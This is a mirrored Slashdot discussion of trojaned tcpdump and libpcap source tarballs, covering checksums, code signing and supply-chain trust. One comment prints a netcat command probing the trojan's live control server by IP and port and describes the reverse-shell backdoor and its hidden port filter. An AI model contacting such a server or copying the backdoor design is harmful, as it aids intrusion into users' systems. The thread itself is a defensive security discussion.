Slashdot Mirror


Trojan Found in libpcap and tcpdump

msolnik writes "Members of The Houston Linux Users Group discovered that the newest sources of libpcap and tcpdump available from tcpdump.org were contaminated with trojan code. HLUG has notified the maintainers of tcpdump.org. See our reports here or here."

486 comments

  1. Trojan Found in libpcap and tcpdump!? by Anonymous Coward · · Score: 0

    What!? I didn't even know they were dating!

  2. Glad I use Gentoo by rob-fu · · Score: 4, Informative

    Emerge doesn't get tcpdump source from tcpdump.org, but from ibiblio.org.

    How did it get into tcpdump.org's sources exactly? The HLUG page isn't clear.

    1. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      read the page:

      Good sources:
      http://www.ibiblio.org/pub/Linux/distributions/gen too/distfiles/libpcap-0.7.1.tar.gz
      http://www.ibiblio.org/pub/Linux/distributions/gen too/distfiles/tcpdump-3.6.2.tar.gz
      http://www.ibiblio.org/pub/Linux/distributions/gen too/distfiles/tcpdump-3.7.1.tar.gz

    2. Re:Glad I use Gentoo by dohcvtec · · Score: 5, Interesting

      How did it get into tcpdump.org's sources exactly?
      Presumably the tcpdump.org FTP server got 0wned, and the trojan was planted, but the people that found the trojan aren't the server admins - they just found it in the source they downloaded. And I doubt we will find out how the perpetrators got in, either. It would have been nice to find out in more detail what happened when the OpenBSD FTP server was compromised, but people are usually tight-lipped in these cases.

      --
      -- Never hit a man with glasses. Hit him with a baseball bat.
    3. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      gentoo is good times.

    4. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0
    5. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      I guess you're right - it's sufficiently rare that Gentoo *doesn't* have a problem and the others do that it's worth mentioning it. Usually it's the other way round.

    6. Re:Glad I use Gentoo by elrond1999 · · Score: 5, Informative

      Emerge Does get sources from TCPDump if all other mirrors are down. Excerpt from ebuild:
      SRC_URI="http://www.tcpdump.org/release/$ {P}.tar.g z
      http://www.jp.tcpdump.org/release/${P}.tar.gz"

      SRC_URI is a last resort mirror..
      Lucily the MD5 sum catched the trojan: (From the gentoo ebuild digest)
      MD5 03e5eac68c65b7e6ce8da03b0b0b225e tcpdump-3.7.1.tar.gz 428737

    7. Re:Glad I use Gentoo by taviso · · Score: 4, Insightful

      I think the worst thing is that the server the trojan connects to is still operating :

      $ nc -vvv 212.146.0.34 1963
      mars.raketti.net [212.146.0.34] 1963 (?) open
      M sent 0, rcvd 1


      The program connects to 212.146.0.34 (mars.raketti.net) on port 1963 and reads one of three one byte status codes:

      A - program exits
      D - forks and spawns a shell and does the needed file descriptor manipulation to redirect it to the existing connection to 212.146.0.34.
      M - closes connection, sleeps 3600 seconds, and then reconnects


      maybe someone should contact the machine administrator before more people get owned.

      --
      ex$$
    8. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      ibiblio gets the sources from ibiblio?

    9. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      Yeah, via a looped Ethernet cable, although this strikes me as being a bit of a waste. We should probably upgrade its processor and RAM and set it to work on the whole Linux usability problem, instead. A couple of trillion iterations later, not only will the result be configurable and updatable from one screen, it'll actually set up printing for you as well.

    10. Re:Glad I use Gentoo by Anonymous Coward · · Score: 1, Interesting

      Maybe someone ran arbitrary code on the webserver.

    11. Re:Glad I use Gentoo by luismunoz · · Score: 2, Funny

      [Insert the obligatory joke about /. slashdotting this server too] :)

    12. Re:Glad I use Gentoo by replica · · Score: 2, Interesting

      The mirrors contained the trojan as well.

      Besides, this is an exploit of trust, no operating system is any more vulnerable than any other. Binary distributions would only contain the libpcap backdoor to ignore tcp port 1963, the actual trojan appears in the configure script.

      How many times have you downloaded sources and blindly ran ./configure && make? This is certainly a case for running builds in a systrace jail.

      For the record, this fits the modus operandi of trojans found in irssi, fragroute, dsniff, BitchX, OpenSSH, and sendmail.

    13. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0
      No? Look at the ebuild:
      SRC_URI="http://www.tcpdump.org/release/${P}.tar.g z http://www.jp.tcpdump.org/release/${P}.tar.gz"
      and libpcap:
      SRC_URI="http://www.tcpdump.org/release/${P}.tar.g z http://www.jp.tcpdump.org/release/${P}.tar.gz& nbs p; http://www.shaftnet.org/%7Epizza/software/libpcap -0.7.1-prism.diff"
    14. Re:Glad I use Gentoo by kasperd · · Score: 2

      [Insert the obligatory joke about /. slashdotting this server too] :)

      Seriously if a lot of people modified the trojan to connect and find out what the cracker is up to, we might find out some interesting stuff.

      --

      Do you care about the security of your wireless mouse?
    15. Re:Glad I use Gentoo by Marc2k · · Score: 2

      I agree with your points about this being an exploit of trust, but the ibiblio.org mirrors did *not* contain Trojaned versions of the source, the HLUG page declared them as safe versions.

      --
      --- What
    16. Re:Glad I use Gentoo by Tassach · · Score: 2

      Systrace is a good idea, but I think a better soution for most people is to rely on a certifying entity to ensure that they get clean code. This is, IMHO, the real value that RedHat gives: it's well worth $60/yr/system to be ensured that the package updates you get have been screened by someone who's looking for exactly this sort of thing.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    17. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      I heard the OpenBSD server was owned by Theo de Raadt being stupid enough to run BitchX from the server machine.

    18. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      " sleeps 3600 seconds"

      Also known as "one hour" :-)

    19. Re:Glad I use Gentoo by Anonymous Coward · · Score: 0

      Obviously the cracker is trying to buy more crack. Maybe we should help him out of his drug addiction.

    20. Re:Glad I use Gentoo by Afrosheen · · Score: 2

      Another reason I like to run Mandrake on my servers. Mandrake is pretty thorough about security and checking their code, and the mirrors give my md5 checksummed rpms so I know they're all authentic.

      Granted, there have been one or two rpms that have had security warnings issued and new rpms have appeared nearly immediately, but AFAIK nothing has been trojaned like this.

    21. Re:Glad I use Gentoo by DaCool42 · · Score: 1

      Only if that's the mirror you are set up to use. In any case, however, the md5sums would catch it (the md5sums in Gentoo are of the non-trojaned version, luckily). This actually exactly how the trojan was discovered, if you read the article.

      --

      ----
      All of whose base are belong to the what-now?
    22. Re:Glad I use Gentoo by Codifex+Maximus · · Score: 2

      Yep. The cracker is evidently in-the-know and should be expected to know that we know. He probably also knows that we know he knows we know... you know?

      --
      Codifex Maximus ~ In search of... a shorter sig.
    23. Re:Glad I use Gentoo by ArmedGeek · · Score: 1

      I agree, I run RH on my server and Mandrake elsewhere (desktops, laptop). IMHO, this is one of the best reasons to stick with some of the larger, more established distros. Personally, I do not have the time to pick through code looking for things like this.
      btw, I do buy boxed distros to help financially support these companies.

      --
      Work is punishment for failing to procrastinate effectively.
    24. Re:Glad I use Gentoo by Tomble · · Score: 2, Insightful
      however, the md5sums would catch it (the md5sums in Gentoo are of the non-trojaned version, luckily)
      Seeing the fact that the modifications to the source helped to obscure the trojan by making the pcap library quietly ignore packets associated with the remote site, reminded me of the paranoia I tend to feel over security, and the mechanisms we use for it.

      Such as, what if a cracker got into my machine and set up (amongst other things) a patched version of md5sum, that knew which files had been altered, and what their orignal md5sums were, so I couldn't rely on that for my security? This paranoia went as far as worrying about whether it would be possible for someone to alter gcc, such that not only would it add malware functions to anything I compiled, but also to work out when it was being used to compile a compiler, and install this same such functionality into that. I spent ages trying to convince myself that that would be far too complex to do, maybe even impossible * , but at the same time tried to work out ways to bootstrap a C compiler that I could believe was indeed utterly trojan-free.

      <sigh> I expect there's a word for that, and I'm sure it's not one I want to hear :P

      * -I'm sure that it could be made to use certain cues, such as filenames, etc, to decide that it was compiling part of a specific compiler, such as another copy of gcc, and only do the modification on that. But I'm sure you can't write an algorithm to detect that a piece of code constitutes a compiler, let alone part of one (because of course, gcc only works on one source file at a time, not whole projects).

      --
      Be careful! New moon tonight.
    25. Re:Glad I use Gentoo by kasperd · · Score: 2

      He probably also knows that we know he knows we know... you know?

      You got a point there, I see. But does he already know that we think he probably knows that we know he knows we know? Anyway I really don't care what he knows, I just want to know what he is going to do.

      --

      Do you care about the security of your wireless mouse?
    26. Re:Glad I use Gentoo by Codifex+Maximus · · Score: 2

      He's going to find a way to overflow a buffer, root yer box or get you to download a trojaned source, install it and blindly give it root priveleges, plant a back door and stay out of sight.

      The worst crackers are the one's you never hear about.

      --
      Codifex Maximus ~ In search of... a shorter sig.
  3. as soon as this evening... by mirko · · Score: 2

    apt-get update...
    well, I have not installed these sniffing proggies, so it should be okay.
    Now it could be worse :
    If you suspect your binaries to be trjanized, you'd want to sniff your own machine but if (and it is the case) the sniffer is trojanized, then it could possible hide such "activities"...
    I actually read the article and it however seems that it was not the case here...
    phew :-)

    --
    Trolling using another account since 2005.
    1. Re:as soon as this evening... by Megane · · Score: 5, Informative
      If you suspect your binaries to be trjanized, you'd want to sniff your own machine but if (and it is the case) the sniffer is trojanized, then it could possible hide such "activities"... I actually read the article and it however seems that it was not the case here...

      If you read the article more carefully, you will notice that the binaries aren't trojaned. This is a trojan in the build scripts only. So ironically, only the paranoids who build from source (but aren't paranoid enough to demand an MD5) got hit by this.

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
    2. Re:as soon as this evening... by jmo_jon · · Score: 1, Troll

      MOD PARENT UP

      he used the word apt_get

    3. Re:as soon as this evening... by OrangeSpyderMan · · Score: 3, Funny

      If you read the article more carefully, you will notice that the binaries aren't trojaned.

      Phew, glad to hear that, I was worried the trojaned sources actually built trojaned binaries - glad you got that cleared up for us.

      --
      Try NetBSD... safe,straightforward,useful.
    4. Re:as soon as this evening... by arkanes · · Score: 3, Insightful

      Okay, I've been confused about this MD5 thing. Most often, the MD5s are either in a file in the ftproot, or in the readme if you've owned the server enough to stick a trojan in the source code, can't you just put in the MD5s of your altered source? I thought the main reason for checksums was to check for corrupt/missing data after the download, which was way more important in the noisy line modem days.

    5. Re:as soon as this evening... by Anonymous Coward · · Score: 0

      Well, d00d, YOU used the word apt_get and got modded up, so who's the BLATANT karma whore here?

      8-) <- for the humor impaired

      (P.S. note that I used the magic word, too)

    6. Re:as soon as this evening... by OrangeSpyderMan · · Score: 3, Insightful

      You don't seem that confused to me! :-) Your point is entirely valid, if the checksum is on the compromised FTP server, it's not going to be much help. If it's on a seperate webserver, there's a chance it'll be valid, but using a checksum, while being a quick and reasonably simple way of checking such downloads, should never be taken as a guarantee. They only thing they will guarantee, is that the copy you have on your hd is the same as the copy that's on the server. Only if you can trust the source of the checksum are they useful in such circumstances, otherwise take them with a pinch of salt.

      --
      Try NetBSD... safe,straightforward,useful.
    7. Re:as soon as this evening... by EvilAlien · · Score: 2

      ln -s apt-get windows-update

      --
      perl -e 'print $i=pack(c5, (41*2), sqrt(7056), (unpack(c,H)-2), oct(115), 10)'
    8. Re:as soon as this evening... by harlows_monkeys · · Score: 5, Insightful
      The funny thing about the paranoids who build from source is that, unless they actually look at the source, it doesn't gain them anything. There are three ways to build from source.

      1. Just grab the source and build it. This is no better than grabbing a binary and running it, as far as security goes.

      2. Grab the source, check the MD5 sum, and then build it. This is no better than grabbing the binary, checking the binary's MD5 sum, and then running it.

      3. Grab the source, diff it against the previous source you were running, and at least glance at the diffs to see if anything looks suspicious. This is the only way that using source gives you more security than using the binary.

      People using source for security who are in category 1 or 2 are just fooling themselves.

    9. Re:as soon as this evening... by harlows_monkeys · · Score: 3, Insightful
      Correct.


      The right way to do things is for the person who makes the release package (e.g., the tarball, or the rpm, or whatever) to digitally sign it. They should do the signing on a machine other than the web server or FTP server. Ideally, they do the signing on their development machine, which is safetly tucked away on a network that crackers can't get to.

    10. Re:as soon as this evening... by kevinank · · Score: 5, Informative
      Okay, I've been confused about this MD5 thing. Most often, the MD5s are either in a file in the ftproot, or in the readme if you've owned the server enough to stick a trojan in the source code, can't you just put in the MD5s of your altered source?

      To be useful the MD5 file should be signed, and the GPG key that signed it should be one that you know and trust. Even that may not be enough if the key owner can be tricked into revealing his private key, or the trojan horse can be introduced into the code on the code owners development machine, but it does add one layer of depth to your security.

      The first time I had a server hacked (mountd exploit, xmas '99) the machine details were sold on IRC, probably in exchange for credit card numbers, to a somewhat clueless Singapore exchange student who proceeded to delete all of my syslog files so that when I logged in remotely the root mailbox was full of complaints about missing logfiles. The rooted system was up for about a week, during which time it probed several thousand IPs for basic exploits, hosted an IRC channel through eggdrop (together with names of the hacker's friends and passwords), all on a machine with no rootkit installed and very little attempt to hide activity.

      Basically I got lucky the first time, and ever since then I've been paranoid, in hopes there won't be a second time. But with a smart hacker and a good root kit, I think even with my paranoia that I could miss a hacker on my machine for a long time, so I suspect it is only a matter of time before some well known developer gets hacked and has signed sources distributed with a trojan horse inside.

      --
      LibBT: BitTorrent for C - small - fast - clean (Now Versio
    11. Re:as soon as this evening... by mwood · · Score: 1

      4. Grab the source, check the detached signature, warn the site if the .asc doesn't verify or if the identity of the signer seems strange.

      Of course this only works if the developers sign their packages....

    12. Re:as soon as this evening... by dark_panda · · Score: 3, Insightful

      One thing that would be useful would be for the author to either GPG/PGP sign the file with the MD5 sums with a trusted signiture or sign the actual source/binary tarballs themselves. A lot of linux vendors seem to be doing this recently.

      J

    13. Re:as soon as this evening... by zen+parse · · Score: 2, Insightful

      If you read the script properly, you'll see it does trojan the binaries built from it. "The (relevant) gencode.c diff:" part shows how it filters out the port used by the trojan.

    14. Re:as soon as this evening... by zen+parse · · Score: 0, Offtopic

      Comment Submitted. There will be a delay before the comment becomes part of the static page. What you submitted appears below. If there is a mistake...well, you should have used the 'Preview' button! Oops. HTML is hard.

    15. Re:as soon as this evening... by Anonymous Coward · · Score: 1, Funny

      5. Get the source, audit it line by line, and then build it when you know it's safe.

      6. Don't bother downloading packages, write your own ;-) /me don't trust any code I don't write...guess I should get started on the kernel!

    16. Re:as soon as this evening... by Paladin128 · · Score: 2

      Still, it's important that the source is available. The paranoid people that try step 3, or actually look at the source, are the reason I trust Open Source software. If it was a closed source app, and someone patched the binary with a somewhat stealthy trojan, we might not have known for months.

      Using Open Source Software is about trust for me; I have no problem if someone uses closed source apps on a non-crucial desktop machine. I'm very dubious using any closed source apps on any server I deploy, however.

      --
      Lex orandi, lex credendi.
    17. Re:as soon as this evening... by Anonymous Coward · · Score: 0

      4. ???
      5. Profit!

    18. Re:as soon as this evening... by Anonymous Coward · · Score: 0

      I see your point about getting binaries built from that configure script, but I saw no mention on the HLUG page that said the binaries on the site were built from the trojaned script. In addition, the HLUG page's warnings were in reference to the source downloads. While it may not be a good idea to download the binaries, there was nothing explicitly said about them being infected. You may turn out to be right about them being built from that, but your irateness does not mask the fact that they did not mention anything about binaries.

    19. Re:as soon as this evening... by dbarclay10 · · Score: 3, Funny
      People using source for security who are in category 1 or 2 are just fooling themselves.
      You know that. I know that. Try telling THEM :) (Where "THEM" includes my boss, who makes me compile everything from source [and for Christ's sake, I maintain packages in the Debian archive!], but won't pay me or anybody else to actually *audit* the source, god-damnit.)
      --

      Barclay family motto:
      Aut agere aut mori.
      (Either action or death.)
    20. Re:as soon as this evening... by Anonymous Coward · · Score: 0

      "which is safetly tucked away on a network that crackers can't get to."

      Wait a minute! We are talking Open Source here, the programmers are coding on the same machine used for FTP downloads.

    21. Re:as soon as this evening... by Anonymous Coward · · Score: 0

      "8-)

      What's so funny in drawing ASCII testicular?

    22. Re:as soon as this evening... by Anonymous Coward · · Score: 0

      So not liking the compile setting of the binary is not a good reason to use source?
      (not to mention that I don't want to touch RPM with an 8m (that's meters) pole.)

    23. Re:as soon as this evening... by nzhavok · · Score: 2

      Basically I got lucky the first time, and ever since then I've been paranoid, in hopes there won't be a second time

      I got r00ted earlier this year. Serves me right for running a severly underpatched box I suppose. Probably not too much of a problem since I was on dialup thou. Did you actually do anything to this guy? Weren't you tempted to log on to IRC and chat with him? Or else start distributing his passwords of him and his friends to other people on IRC? Just wondering :)

      --

      He who defends everything, defends nothing. -- Fredrick The Great
    24. Re:as soon as this evening... by DaCool42 · · Score: 1

      Actually, if you _really_ read the article you would see that this is clearly the case. The trojan is in the configure system, but it also modifies the sniffer code so that it won't be detected.

      --

      ----
      All of whose base are belong to the what-now?
    25. Re:as soon as this evening... by dasunt · · Score: 2

      First, a disclaimer - I don't know a thing about compilers, and for coding - what I know can fill a very small bucket. However, that doesn't stop most people on slashdot from posting, so it shouldn't stop me. :)

      I was told that building from source makes the compiled code partially machine-specific. Thus an exploit that worked in the default binary might not work in the binary that I compiled.

      Is there any compiler gurus that want to clarify this for me one way or another?

      Thanks

    26. Re:as soon as this evening... by kevinank · · Score: 3, Interesting
      I got r00ted earlier this year. Serves me right for running a severly underpatched box I suppose. Probably not too much of a problem since I was on dialup thou. Did you actually do anything to this guy? Weren't you tempted to log on to IRC and chat with him? Or else start distributing his passwords of him and his friends to other people on IRC? Just wondering :)

      Yeah... my servers front end my home network, so they are turned on 24/7 and right now are connected through redundant DSL connections to the Internet. So mine make a somewhat attractive target.

      Since I am basically a lazy sysadmin, my approach had been to use really obscure hardware for my server. To accomplish that I bought a Rebel Netwinder on the theory that any exploit out for x86 would probably take months to be ported to the StrongARM (the StrongARM instruction set is both restrictively small, and completely anal about non-aligned memory accesses, so hand-coded assembly is a pain to write if you are trying to take advantage of a stack overflow of some kind.)

      Recently I've swapped the rebel box for another Intel server, this time running RH7.3, and I bought a subscription to RHN to keep it up to date. Since RHN manages all of the security updates and dependencies, all I have to do is log on once a week or so and request the updates. So now I get to be lazy in two regards; first it is much easier to add new software (StrongARM porting being not my cup of tea), and secondly RHN takes care of the security updates.

      I imagine that Debian users would argue likewise for apt-get.

      --
      LibBT: BitTorrent for C - small - fast - clean (Now Versio
    27. Re:as soon as this evening... by kevinank · · Score: 3, Interesting
      Did you actually do anything to this guy? Weren't you tempted to log on to IRC and chat with him? Or else start distributing his passwords of him and his friends to other people on IRC?

      Oops, forgot to answer that. I did log on to IRC and tracked down a couple of the users listed in the eggdrop config files. The original channel was no longer active, but there were a few people with the same IDs logged in on another channel; but the channel content was so spooky that it kind of freaked me out at the time. For about five minutes the only thing in the channel were various people sending messages like 'CCs', or 'eggable accts'. Then suddenly some guy posted a message saying approximately: 'so and so is a lousy copier', then 'I may as well give this out as a freebie since I don't want him to get all the use of it', followed by some guy's name, address, SSN, phone, and credit card numbers.

      At that point I decided I was in the middle of things I didn't want to be in. I did call the person to let them know that his credit card information had been stolen, and to watch his receipts, but basically dropped it there. As far as I know the FBI only cares about computer hacking if there has been at least $1k of damage. I had about a day to rebuild my server (before replacing it a month later with the Rebel), but nothing close to $1k; no deleted files or anything.

      I did track down the person's Nick which basically turned into a Google search, but since he'd been using that Nick for a long time and in many different places, it was very easy to do. The Nick seemed to belong to a student at UCB, previously a student in Singapore, but the evidence was pretty loose, and in any case I doubt I could have done more than make a few legal threats. Ultimately I decided to chalk it all down as a learning experience and let it go (but I still have the backup tapes of the hacked machine if I ever need them.)

      Handing out other peoples passwords wouldn't have been possible. Eggdrop stores them in encrypted form so even with the contents of the password file there wasn't anything I could do to retrieve their plain text passwords.

      --
      LibBT: BitTorrent for C - small - fast - clean (Now Versio
    28. Re:as soon as this evening... by Anonymous Coward · · Score: 1, Interesting

      Hmm... I don't know anything about this eggdrop software, but couldn't someone hack it, remove the encryption algorithms on the passwords, run an IRC client, advertise it as a cracked machine on the relevant IRC channels, etc.R
      Essentially setting up a honeypot to capture hacker login/pw combinations to later track activity, etc? If the honeypot were configured well, I would imagine you could trick them into giving away quite a bit.

    29. Re:as soon as this evening... by aWalrus · · Score: 1
      I was told that building from source makes the compiled code partially machine-specific. Thus an exploit that worked in the default binary might not work in the binary that I compiled

      Nah. Doesn't work that way. The compiled code works for the architechture your compiler compiles for. There are certain optimizations that are made in compile time that are better in some compilers than others (hence all the gcc related flamewars going on in /. recently). I think that this is a valid reason to download and compile the code yourself. You can always use the latest upgrade to your compiler that uses optimizations you just *can't* live without. Doesn't have anything to do with security, though.

      Anyway, different compilers compiling for the same architechture will produce working trojan code from the source, unless the source uses something that is not supported in your machine, like assembler level instructions, for instance if you tried to use the extra set MMX introduced in the Intel x86 in a program and compile it for a 486 or pre-MMX pentium. In that case, however, the program just wouldn't compile at all. Assembler code *can* be embedded in c code, but it is unusual, since it can make the program dependent not only on a platform, but on a specific family of processors.
      --

      --
      Overcaffeinated. Angry geeks.
    30. Re:as soon as this evening... by mirko · · Score: 1

      Actually : "so that it won't detect itself..."

      --
      Trolling using another account since 2005.
  4. Hrmm by Anonymous Coward · · Score: 2, Funny

    Who would have thought that TCPDUMP would have crap like that in it?

    1. Re:Hrmm by Anonymous Coward · · Score: 0
      Anyone who gave it some thought.



      I mean good grief, people seem to be surprised by this and that irks me.



      If you're a hacker who benefits from exploited systems, especially if you benefit more from exploiting a highly secured system than from a loosely managed one, then stuff like tcpdump, openssh, snort, Oracle, nagios, snmpwalk/get/set, etc - those are the juiciest targets.



      Why? Because they're likely to be installed by root, frequently running a make file that root will never have looked closely at. And because these systems are likely to have special access to data that other systems don't.



      Cases in point:

      • tcpdump/snort - machine is likely to be positioned to snoop traffic.
      • openssh - machine is likely to have higher-than-average security, probably meaning it has more valueable information. It's also likely to store private keys, useful for accessing other hosts.
      • snmpwalk/get/set, nagios: machine is likely to be expected to contact many other machines, making it more difficult to casually watch its traffic. This machine is also likely to be used with snmp community strings.
      • Oracle and other databases: machine is likely to contain usernames, passwords, customer lists, account numbers, etc. These packages are also frequently installed from source, as root and have makefiles too large (and too proprietary) for an admin to check.



      If you do most of the compilation without being root and you carefully check the make-install section, and you're not installing something that runs as root (ever), you're a little safer, but not by much.

  5. Eventually, this would happen by Rotten · · Score: 5, Insightful

    And if I don't remember, this happened befrore. Of course this is one of the biggest strenghts of the Open Source Model.
    Code is constantly audited, checked and corrected. If your closed source software has backdoors or trojans...well....who knows but on Open Source is easyly detected.

    1. Re:Eventually, this would happen by rekulator · · Score: 1

      Yeah, it's pretty much fine. But then again if the source is not available it makes 3rd party backdoors etc. pretty much harder to create, don't you think?

      Of course this doesn't apply to the backdoors which are inserted by the creator of the closed source app.

    2. Re:Eventually, this would happen by Anonymous Coward · · Score: 0, Informative
      If your closed source software has backdoors or trojans...well....who knows

      closed src doesn't have its src on some webserver for some kiddie to trojan in the first place. sure the possibility of some employee or the employer itself to trojan the src, but most open source trojans are someone breaking into the web server and uploading modified src. by definition this wont happen with closed src since closed src doesn't release src, so your argument is irrelevant.

    3. Re:Eventually, this would happen by khendron · · Score: 5, Informative

      Easily detected? I wonder about this. If you look at the date stamp on the trojaned configure script, it is December 10th, 2001.

      Does that mean that this trojan has been around for almost a year before anybody noticed? If that's true, it does not meet my definition of "easily detected".

      --
      Life is like a web application. Sometime you need cookies just to get by.
    4. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      "If your closed source software has backdoors or trojans...well....who knows but on Open Source is easyly detected."

      Maybe the thousands of testers and code auditers hired at each bigger software company? Microsoft has about 1700 testers and auditers looking at XP alone, I don't know the total for all their products but it's a lot of people.

      If it's open source anyone can claim to be anyone they want to and check in trojans or viruses without anyone really having any control over it.

    5. Re:Eventually, this would happen by Rotten · · Score: 2, Interesting

      Personally I've seen many backdoors in closes source software, even more, as a programmer years ago, I was instructed to put backdoors on Banking software by my employer and the bank auditing team. And let me tell you that the security was so bad that I personally switched my bank account from that institution to another.
      I don't think the only irrelevant comment is thinking that bad things(r) happens only in one place. Like I said, on open source software, I Can Audit Myself The Code.

    6. Re:Eventually, this would happen by Rotten · · Score: 4, Insightful

      Of course you have never disected a rootkited server. Nobody trust the date stamps, not even my grandmother does it.

      Have you ever changed the date of a file? It's quite easy.

    7. Re:Eventually, this would happen by Anonymous Coward · · Score: 2, Interesting

      This argument can of course be reversed: Because sources are open, one can insert trojans.

      So there's no point mentioning it.

      The point is: When was the specific change added? By whom? The maintainer should know. Let us know. Then put the person who sent in the patch with the trojan in a black list so his/her future patches to open source programs are first severely checked, if accepted at all.

      That's more like it -I think-.

    8. Re:Eventually, this would happen by Rotten · · Score: 2, Insightful

      Please, I just replyed to two other "MAYBE" Posts. Talk about facts:

      The same that applies to somebody breaking into a open source code repository applies to a closed source repository.

      If the trojaned code is inserted after the aditing and goes into a production/distribution state, then the consumer/user has NO WAYS to detect the problem.

      You are talking about the same Microsoft that wants to take to court independant researchers that detect security flaws in MS products?

      Or the same Microsoft that hides security problems on their products?

      And...Have you ever used CVS?

    9. Re:Eventually, this would happen by shatfield · · Score: 2

      Some "kiddie" most likely did not do this.

      Perhaps this is the work of an international ring of expert black hat hackers who are doing this in order to build up their network of computers that are available as jumping points for future hacking?

      I'm not worried about "kiddies" in the closed source world, but about the incredibly devious companies that produce programs. Don't think for a second that Microsoft hasn't put back doored software onto your computer.. that's already been documented.

      --
      "To make a mistake is only human; to persist in a mistake is idiotic." Cicero
    10. Re:Eventually, this would happen by Rotten · · Score: 1

      I think nobody included this patch oficially, even a student can detect something fishy in those lines.

      Obviously the code slipped without the code maintainers knowledge, possibly someone found a way to circumvent security policies.

    11. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      Do you see what happens when you don't read the links of the article? This is what happens Ronnie... This is what happens when you don't read the links Ronnie...

    12. Re:Eventually, this would happen by yatest5 · · Score: 1, Troll

      And if I don't remember, this happened befrore. Of course this is one of the biggest strenghts of the Open Source Model.
      Code is constantly audited, checked and corrected. If your closed source software has backdoors or trojans...well....who knows but on Open Source is easyly detected.


      Yes, what a strength! Yay for open source! When Windows is released with Trojans in nobody notices! Oh, what, it never has? Oh, they check it before it's burnt to CD do they? Oh, they should adopt these open-source practices so they can release trojan-infected code for their customers to find!

      Really, this is the most pathetic grabbing at strws I have seen, since, oooh, the last open source fuckup reported on slashdot. Accept, the fuckup, shutup and move on.

      --
      • Mod parent up! [a] by Anonymous Coward (Score:5) Thurs, June 31, @13:37
    13. Re:Eventually, this would happen by lightweave · · Score: 1

      Obviously you never participated on an OS Project. It's not as if there is CVS-write for everybody, so the sources are checked before they are applied.
      That was true for the projects where I submited code (i.E. Wine or wxWindows) and I sure bet this is true for something as securityrelated as tcpdump.
      You should participate a bit before writing crap.

    14. Re:Eventually, this would happen by tetra103 · · Score: 1

      There's pros and cons for "open source". This would definitely be a con.

    15. Re:Eventually, this would happen by pandora-br · · Score: 1

      Do you trust timestamps this much? Oh, I see, you probably also only check MD5 "signatures" then.

    16. Re:Eventually, this would happen by fuzzybunny · · Score: 1

      No, if someone's modified the code, they didn't
      necessarily touch the configure script.


      Plus, as many have mentioned, diddling with timestamps is fairly simple (bios clock, anyone?)


      It also means this could have been around for longer :)


      I wonder whether anyone references this stuff with the CVS/RCS/SCCS/whatever trees they use for updates. If the trojan segments aren't in source control, shouldn't it be trivial to rebuild a reasonably trusted source base from there? And if it's in source control, that might help track down who introduced it.

      --
      Cole's Law: Thinly sliced cabbage
    17. Re:Eventually, this would happen by khendron · · Score: 2

      Of course time stamps are not to be trusted. That is not the point I am trying to make.

      I am actually asking a question: how long was this trojan released before it was discovered? I, personally, do not know. I was hoping somebody else could tell me the answer.

      --
      Life is like a web application. Sometime you need cookies just to get by.
    18. Re:Eventually, this would happen by r55man · · Score: 5, Informative
      Does that mean that this trojan has been around for almost a year before anybody noticed? If that's true, it does not meet my definition of "easily detected".

      I downloaded libpcap/0.7.1 from tcpdump.org on September 2 of this year (just 2 months ago), and it was not trojaned (I keep a record of md5 sums, and was able to check this just now).

      Probably whoever modified the file just touched it to resotre the original timestamp. This is trivial to do.

    19. Re:Eventually, this would happen by Hard_Code · · Score: 1, Troll

      "Don't think for a second that Microsoft hasn't put back doored software onto your computer.. that's already been documented."

      What a load of crap! Internet Explorer saves your URL/Searches! STOP THE PRESSES! Internet Explorer saves cookies and history! BREAKING NEWS! OMIGOD IT'S A CONSPIRACY! Whoa, Microsoft installed "secret" files! How evil! The system attribute has only been around since, uh, DOS 1.0 or something! What a fucking load of breathless alarmism!

      Anybody who has used a Microsoft OS knows about this. Why don't you talk next about "stealth dot files!", or "why Linus Torvalds doesn't want you to cat files in /dev!" or "history file records your actions!"

      --

      It's 10 PM. Do you know if you're un-American?
    20. Re:Eventually, this would happen by Melantha_Bacchae · · Score: 5, Interesting

      An AC wrote:

      > closed src doesn't have its src on some
      > webserver for some kiddie to trojan in the first
      > place. sure the possibility of some employee or
      > the employer itself to trojan the src, but most
      > open source trojans are someone breaking into
      > the web server and uploading modified src. by
      > definition this wont happen with closed src
      > since closed src doesn't release src, so your
      > argument is irrelevant.

      Oh, no? Look here:

      http://news.zdnet.co.uk/story/0,,s2082221,00.htm l

      Microsoft had their source available to some cracker for three months back in 2000. Of course they later spun it down to "one day and we were watching them all the time".

      Point is, closed source can be vunerable too. Only Microsoft knows if any damage was really done, and they aren't telling us squat.

      "At this moment, it has control of systems all over the world.
      And...we can't do a damn thing to stop it."
      Miyasaka, "Godzilla 2000 Millennium" (Japanese version)

    21. Re:Eventually, this would happen by twisty7867 · · Score: 1

      What a load of shit! This is one of the biggest weaknesses of open source... any Joe Schmoe, typically without any positive identification, can insert this type of malicious code in a common codebase. With commercial closed source code, an employee is clearly identified, usually undergoes a thorough criminal and financial background check, and their livelihood depends on their continued employment. This is a significant disincentive toward performing illegal activity like this on the job. If for some reason an employee is stupid enough to do such a thing, the employer has all the information necessary to send Johnny Law knocking on their door.

    22. Re:Eventually, this would happen by Anonymous Coward · · Score: 0

      About last night. That's when the md5sums changed. The file datestamp was changed back to the original file's datestamp. However, the stupid trojan author failed to change the md5sum too. It's almost as if he WANTED to be quickly discovered. Now - who has most to gain from a highly visible trojan that's in fact virtually useless - Microsoft.

    23. Re:Eventually, this would happen by ichimunki · · Score: 1

      Hmmm. I guess you've never used or seen a cracked binary before. It's certainly a little harder, but not remotely impossible to trojan a binary-- just less people would know how to do it.

      In this case, the real question isn't "how hard was it to add this code to the source tree" but "how is it projects have their web pages so thoroughly hacked and no one notices?"

      --
